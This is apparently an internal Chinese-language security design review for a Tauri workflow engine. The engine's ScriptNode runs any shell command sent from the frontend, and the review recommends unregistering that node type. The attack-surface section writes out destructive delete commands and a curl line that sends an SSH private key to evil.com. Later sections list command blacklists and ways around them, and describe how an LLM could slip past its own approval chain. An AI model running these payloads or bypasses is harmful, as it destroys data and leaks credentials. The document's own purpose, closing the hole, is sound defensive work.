# 工作流脚本执行边界设计(R-PD-2) > 来源:全局代码 review 2026-06-15 §🔴 P1 需设计 R-PD-2 > 日期:2026-06-15 > 状态:设计待核对(推荐方案已定,落地前需用户确认力度) --- ## 一、问题:run_workflow IPC 经 ScriptNode 执行前端任意 shell(security P1) ### 1.1 攻击面分析(前端 IPC → 任意 shell 的完整路径) ``` 前端 runWorkflow(name, dag, config) └─ invoke('run_workflow', { name, dag: DagDef, config }) ← IPC 边界,dag 为前端任意构造的 serde JSON └─ src-tauri/commands/workflow.rs:36 run_workflow ├─ state.registry.build_dag(&dag) ← 仅校验节点类型已注册 + 边两端存在 └─ DagExecutor::new(...).run(&runtime_dag, config) ← 异步后台执行 └─ ScriptNode::execute(ctx) [crates/df-nodes/script_node.rs:11] ├─ command = ctx.config["command"] ← 原始字符串,无校验 └─ ShellRequest { command, working_dir, .. } └─ df_execute::shell::execute [crates/df-execute/shell.rs:34] ├─ Windows: cmd /C └─ Unix: sh -c ← 全 shell 解释器,含管道/重定向/通配 ``` 前端可提交任意 `DagDef`: ```ts // 等价攻击载荷(任一) { nodes: { x: { node_type: 'script', config: { command: 'del /S /Q C:\\*' } } }, edges: [] } { nodes: { x: { node_type: 'script', config: { command: 'curl evil.com/exfil?d=$(cat ~/.ssh/id_rsa)' } } }, edges: [] } { nodes: { x: { node_type: 'script', config: { command: 'rm -rf /', working_dir: '/' } } }, edges: [] } ``` `build_dag`(`crates/df-workflow/registry.rs:42`)只做两类校验: 1. `node_type` 已注册("script"/"human"/"ai")——攻击者用合法的 "script" 2. 边的 source/target 节点存在——单节点 DAG 无边,零约束通过 **对 `config.command` / `config.working_dir` 无任何校验**,直接落到 shell 解释器。 ### 1.2 为何完全独立于 AI 工具 RiskLevel 审批链 DevFlow 有两条独立的「前端 → 后端可执行」通路,安全机制割裂: | 通路 | 入口 | 风控机制 | 审批位置 | |------|------|---------|---------| | **AI 工具调用**(LLM 驱动) | agentic loop → `AiToolRegistry` | `RiskLevel::{Low, Medium, High}` | `audit.rs:265-271`:Medium/High 写入 `AiSession.pending_approvals`,前端 ToolCard 阻塞审批 | | **工作流执行**(前端直接驱动) | `run_workflow` IPC → DagDef | **无** | DagDef 无 RiskLevel 字段,ScriptNode 不查 pending_approvals | 关键不对称点: - AI 工具调 shell 走 `execute_command`(tool_registry.rs),**RiskLevel::High + 审批** - 工作流 ScriptNode 调 shell 走 `df_execute::shell::execute`,**零风控** - 两条通路最终都落到同款 `cmd /C | sh -c`,但前者有闸门、后者无闸门 更隐蔽的二次风险:AI 工具 `run_workflow`(`tool_registry.rs:383-389`)本身是 RiskLevel::High 且**目前是 no-op 桩**(R-PD-12),LLM 即使调用也只拿到 `{ note: "请通过工作流页面运行" }`。但 **LLM 若未来引导用户提交特定 DagDef 到 `run_workflow` IPC**(绕过 AI 工具桩),就直接触达无审批 shell。R-PD-12 把 AI 工具桩做实或删除时,本设计的边界必须先就位,否则等于给 LLM 开了一条绕过自己审批链的暗道。 --- ## 二、现状 ### 2.1 DagDef 前端构造,无后端校验 `DagDef`(`crates/df-workflow/dag_def.rs:7-11`)是纯数据结构: ```rust pub struct DagDef { pub nodes: HashMap, // node_type: String, config: serde_json::Value pub edges: Vec, } ``` `run_workflow`(`workflow.rs:36`)收 `dag: DagDef` 参数,Tauri 反序列化后直接 `build_dag`。前端唯一构造点是 `src/views/ProjectDetail.vue:258-268` 的 `demoDag`: ```ts const demoDag = { nodes: [ { id: 'n1', node_type: 'script', label: '环境检查', config: { command: 'echo "Environment OK"', timeout_secs: 10 } }, { id: 'n2', node_type: 'script', label: '运行测试', config: { command: 'echo "Tests passed"', timeout_secs: 10 } }, { id: 'n3', node_type: 'script', label: '构建产物', config: { command: 'echo "Build success"', timeout_secs: 10 } }, ], edges: [{ from: 'n1', to: 'n2' }, { from: 'n2', to: 'n3' }], } ``` **全仓 grep 确认:除 demoDag 外,前端无任何其他 script 节点构造点,无构建/部署/迁移脚本入口。workflow 当前为纯演示功能。** ### 2.2 ScriptNode 无约束 `crates/df-nodes/script_node.rs:11-42`:从 `config.command` 取原始串,原样塞 `ShellRequest.command`,`working_dir` 也原样透传。无白名单、无路径锚定、无审批查询。 ### 2.3 shell 解释器全权委托 `crates/df-execute/shell.rs:37-45`:`cmd /C ` / `sh -c `,命令字符串经完整 shell 解释器(管道、重定向、变量展开、通配、命令分隔符全开)。R-P1-2 已修 kill_on_drop(僵尸进程问题),但不影响安全边界。 --- ## 三、方案三选一详析 ### 方案 ①:build_registry 不注册 "script",掐断节点类型(最安全最小) **做法**:`src-tauri/src/state.rs:227-229` 删除 `registry.register("script", ...)`。`build_dag` 遇到 `node_type=="script"` 走 `registry.rs:37` 的 `未注册的节点类型` 分支直接 bail。 **四维对比**: | 维度 | 评价 | |------|------| | 安全性 | **最高**。攻击面从「任意 shell」直接归零,无任何残留路径。无工作目录逃逸、无参数注入、无审批异步语义问题 | | 功能性 | **演示功能报废**。`ProjectDetail.vue` demoDag 三步 echo 全部 `build_dag` 失败,`runDemoWorkflow` 报错。HumanNode/AiNode 不受影响(仍注册) | | 改动面 | **最小**。1 处删除(state.rs:227-229 共 3 行)。可选附带:前端 demoDag 改用 "human" 节点演示,或整个 demoDag 下线 | | 误杀风险 | **零误杀**(无合法用户脚本可误杀)。但等于宣告「DevFlow 工作流不支持脚本节点」,是产品决策 | ### 方案 ②:限定工作目录在已绑定项目 path 内 + 高危命令前缀走 HumanNode 审批 **做法**: - ScriptNode 执行前,校验 `working_dir`(默认取 NodeContext 的项目 path)必须 `canonicalize()` 后落在某已绑定项目根下(防 `../` 逃逸) - 命令前缀扫描:`del /`、`rm -rf`、`curl`、`wget`、`> /dev/`、`mkfs`、`format` 等命中 → 改走 HumanNode 审批流程(emit `HumanApprovalRequest`,复用现有 `approve_human_approval` IPC) **四维对比**: | 维度 | 评价 | |------|------| | 安全性 | **中**。挡住工作目录外写、明显高危前缀。但**前缀黑名单天然不完备**:`curl` 可写成 `c""url`、`$(curl)`、`cu"+"rl`、PowerShell 别名 `iwr`;管道注入 `echo x; rm -rf /`;环境变量展开 `$EVIL`。攻击者绕过黑名单的成本远低于维护黑名单的成本 | | 功能性 | **保留构建脚本能力**(未来真要跑 `npm run build` / `mvn package` 可用),且高危操作有审批兜底 | | 改动面 | **大**。ScriptNode 加路径校验(canonicalize + starts_with)+ 黑名单扫描 + 审批注入逻辑(ScriptNode 不再是叶子执行,要会发 HumanApprovalRequest 并阻塞等 Response,复用 human_node.rs 的 select! 模式,~80 行) | | 误杀风险 | **高且无解**。合法 `npm run deploy` 含 "deploy" 不命中黑名单但实际可能外发;合法 `git clean -fd` 命中 "clean"/"rm" 语义但非删除系统文件。黑名单要么漏报、要么误杀,无优雅平衡点 | ### 方案 ③:ScriptNode 命令白名单 npm/git/mvn 前缀 + 参数过滤 **做法**:定义允许的命令前缀(`npm`、`git`、`mvn`、`cargo`、`echo`、`node` 等),命令必须以白名单前缀开头;参数层过滤 `;`、`&&`、`|`、`$()`、反引号等 shell 元字符。 **四维对比**: | 维度 | 评价 | |------|------| | 安全性 | **中高**。比黑名单强(默认拒绝)。但「参数过滤 shell 元字符」本质上是在重新实现 shell 转义,**已知是不可解问题**(参数里嵌合法字符、引号配对、Unicode 同形字符均可绕过)。且白名单命令自身有副作用(`git push`、`npm publish`、`cargo run -- <任意>`) | | 功能性 | **受限**。只能跑白名单内的命令族,`echo` 演示能保,但任意 shell 管道/组合命令报废 | | 改动面 | **中**。ScriptNode 加白名单匹配(~30 行)+ 参数 sanitizer(~50 行,且 sanitizer 难写对) | | 误杀风险 | **高**。合法 `npm run build && npm run test` 被 `&&` 过滤误杀;合法 `git log --grep="feat | fix"` 被管道符误杀 | --- ## 四、推荐方案:①(不注册 "script"),前端 demoDag 同步下线 ### 4.1 推荐 + 理由 **推荐方案 ①**:删除 `src-tauri/src/state.rs:227-229` 的 "script" 注册,同步下线 `ProjectDetail.vue` 的 demoDag(或改用 "human" 节点演示审批流)。 **核心取舍**:DevFlow 工作流当前是纯演示功能(前端唯一构造点是三步 echo demoDag,无任何真实构建/部署/迁移脚本入口),而方案 ②③ 的安全机制(黑名单/参数过滤)本质是**不完备的运行时博弈**——攻击者绕过成本永远低于防御维护成本。在「无真实脚本需求」的前提下,方案 ① 用一行删除换攻击面归零,性价比远超另两方案。 **触发升力的条件**:若未来 DevFlow 要把工作流做成真实 CI/CD(跑项目构建/部署脚本),此时**不应回头启用 ScriptNode + 加黑名单**,而应**新建一个独立的安全执行节点**(如 `BuildNode`),从一开始就内建白名单 + 项目目录锚定 + 审批链复用 AI 工具 RiskLevel。换句话说,方案 ① 不是「放弃脚本能力」,而是「把脚本能力延后到真正需要时,用专门节点一次性做对」。 ### 4.2 改动面(具体函数 + 行号) **后端(必须)**: `src-tauri/src/state.rs:225-237` `build_registry`,删除 script 注册: ```rust // 改前 fn build_registry() -> NodeRegistry { let mut registry = NodeRegistry::new(); registry.register("script", |_config| { Box::new(df_nodes::script_node::ScriptNode) }); registry.register("human", |_config| { ... }); registry.register("ai", |_config| { ... }); registry } // 改后 fn build_registry() -> NodeRegistry { let mut registry = NodeRegistry::new(); // "script" 节点不注册:ScriptNode 走 cmd /C | sh -c 执行 config.command 原始串, // 前端可构造任意 DagDef 触达无审批 shell(R-PD-2)。DevFlow 工作流当前为纯演示 // 功能(前端唯一构造点 ProjectDetail.vue demoDag 三步 echo),无真实构建/部署脚本 // 需求。需要脚本执行能力时新建独立 BuildNode(白名单 + 项目目录锚定 + 复用 AI 工具 // RiskLevel 审批链),而非回头启用 ScriptNode + 黑名单。 registry.register("human", |_config| { ... }); registry.register("ai", |_config| { ... }); registry } ``` 效果:`run_workflow` 提交含 `node_type=="script"` 的 DagDef 时,`build_dag` → `registry.create` 走 `registry.rs:37` 的 `未注册的节点类型: script` bail,IPC 直接返 Err,不入库、不进后台执行。 **前端(必须,否则 demoDag 触发 build_dag 失败报错)**: `src/views/ProjectDetail.vue:258-278`,二选一: - **a) 下线 demoDag**:删除 `demoDag` 常量 + `runDemoWorkflow` 函数 + 模板中的「运行演示工作流」按钮(最干净) - **b) 改 human 节点演示**:demoDag 改为单节点 human 审批流(演示审批 IPC 通路),保留「工作流页面」基本展示能力 推荐 a(工作流演示能力本就单薄,移除比换内容更诚实;待真实工作流需求落地时一并重做)。 **保留不删**: - `crates/df-nodes/script_node.rs` 文件保留(不删 ScriptNode 实现),只把入口掐断。理由:未来 BuildNode 可复用其 `df_execute::shell::execute` 调用骨架;现在删了未来还要重写。注释顶部加一句「当前未注册到 NodeRegistry,见 R-PD-2 设计文档」 - `crates/df-execute/shell.rs` 完全保留(R-P1-2 kill_on_drop 刚修,且 BuildNode 未来要用) ### 4.3 改动量与风险评级 - 后端:3 行删除 + 1 段注释 - 前端:~25 行删除(demoDag + runDemoWorkflow + 按钮) - 风险:**极低**。功能面仅损失演示能力(本就单薄),无真实用户脚本被误杀。build_dag 失败路径已有完善错误返回(registry.rs:37),前端 IPC 拿到 Err 正常展示。 --- ## 五、风险与未决 ### 5.1 本方案(①)的风险 | 风险 | 评估 | |------|------| | 演示功能报废影响产品认知 | 低。工作流本就是 Phase1 演示,且 HumanNode/AiNode 仍注册,审批流 + AI 节点链路仍可演示 | | 未来需要脚本能力时回头启用 ScriptNode | **决策点**:见 §4.1,明确「新建 BuildNode,不复活 ScriptNode」。若团队遗忘此决策直接取消注释 register("script"),安全缺口原样回归——需在本设计文档 + 经验记录双锚定 | | ScriptNode 死代码残留引发误解 | 中。需在 `script_node.rs` 顶部加注释指回本文档(已在 §4.2 列入改动面) | ### 5.2 若选 ②③ 会引入的风险(备选方案未选理由的展开) - **白名单/黑名单误杀合法构建命令**:`npm run deploy && git push` 这类组合命令天然被元字符过滤误杀,开发者反复碰壁后会推动放宽规则,最终规则松到形同虚设(业界 CI 逃逸史常见) - **工作目录 canonicalize 逃逸**:Windows 上 `\\?\C:\` 短路径、符号链接、junction、UNC 路径(`\\server\share`)均可绕过 `Path::starts_with`;Unix 上 `~/`、`/proc/self/root` 逃逸。canonicalize 只解析 symlink,不挡 mount boundary - **审批链与 workflow 异步语义结合**:ScriptNode 若改走 HumanNode 审批,意味着 ScriptNode 也要发 `HumanApprovalRequest` + select! 等 Response。但 ScriptNode 当前是叶子执行节点,引入审批等于把 ScriptNode 变成半 HumanNode——节点抽象边界混乱。且审批窗口期内前端 cancel_workflow_node 与 ScriptNode 内部 select! 的取消信号传递需重做(HumanNode 已踩过 TOCTOU 坑 R-P1-3,再踩一遍成本高) --- ## 六、关联 ### 6.1 与 R-PD-12(run_workflow AI 工具 no-op 桩)的协同 R-PD-12 处理 AI 工具 `run_workflow`(`tool_registry.rs:383-389`):当前 RiskLevel::High + no-op 返 `{ note: "请通过工作流页面运行" }`,前端 prompt/audit/ToolCard 当真实能力宣传,体验断裂。 **协同关系**: - 本方案(R-PD-2)先把 workflow 系统的 shell 边界封死(掐断 ScriptNode),R-PD-12 再决定 AI 工具 `run_workflow` 的去留才安全 - 若 R-PD-12 决定「做实 run_workflow AI 工具」——LLM 可驱动用户提交 DagDef,此时 workflow 边界必须先就位(即本方案先行) - 若 R-PD-12 决定「删除 run_workflow 假能力」——两条通路都封死,安全闭合 - **顺序约束:R-PD-2 先于 R-PD-12 落地**(或同批)。反过来 R-PD-12 先做实、R-PD-2 没做,等于给 LLM 开了一条绕过自身 RiskLevel 审批链的暗道 ### 6.2 与 shell.rs R-P1-2(kill_on_drop)的关系 R-P1-2(已修)解决的是 `shell::execute` 超时未 kill 子进程致僵尸/fd 泄漏(可靠性维度)。本方案 R-PD-2 解决的是「这个 shell 入口该不该被前端无审批触达」(安全维度)。 - 两者正交:R-P1-2 让被允许执行的 shell 更可靠,R-PD-2 让不该执行的 shell 根本不执行 - R-P1-2 已落地的 `kill_on_drop(true) + spawn + wait_with_output` 在本方案后**保留不变**(shell.rs 完全不动,未来 BuildNode 复用) - 即使本方案掐断 ScriptNode,shell.rs 的修复仍有价值:BuildNode 未来会调它,且修复本身是独立可靠性提升 --- ## 七、落地动作清单 - [ ] 后端:`src-tauri/src/state.rs:227-229` 删除 `registry.register("script", ...)` + 加决策注释 - [ ] 后端:`crates/df-nodes/script_node.rs` 顶部加注释「当前未注册到 NodeRegistry,见 docs/02-架构设计/专项设计/工作流脚本执行边界-2026-06-15.md」 - [ ] 前端:`src/views/ProjectDetail.vue` 下线 demoDag + runDemoWorkflow + 模板按钮(推荐 a) - [ ] 文档:本设计文档归档到 `docs/02-架构设计/` - [ ] 决策记录:补一条功能决策记录(ScriptNode 不注册的安全边界 + 未来 BuildNode 升力路径) - [ ] todo:R-PD-12 标注「依赖 R-PD-2 先落地」 - [ ] 经验记录:黑名单/参数过滤方案为何不选(业界 CI 逃逸史 + 不完备博弈),避免未来误走回头路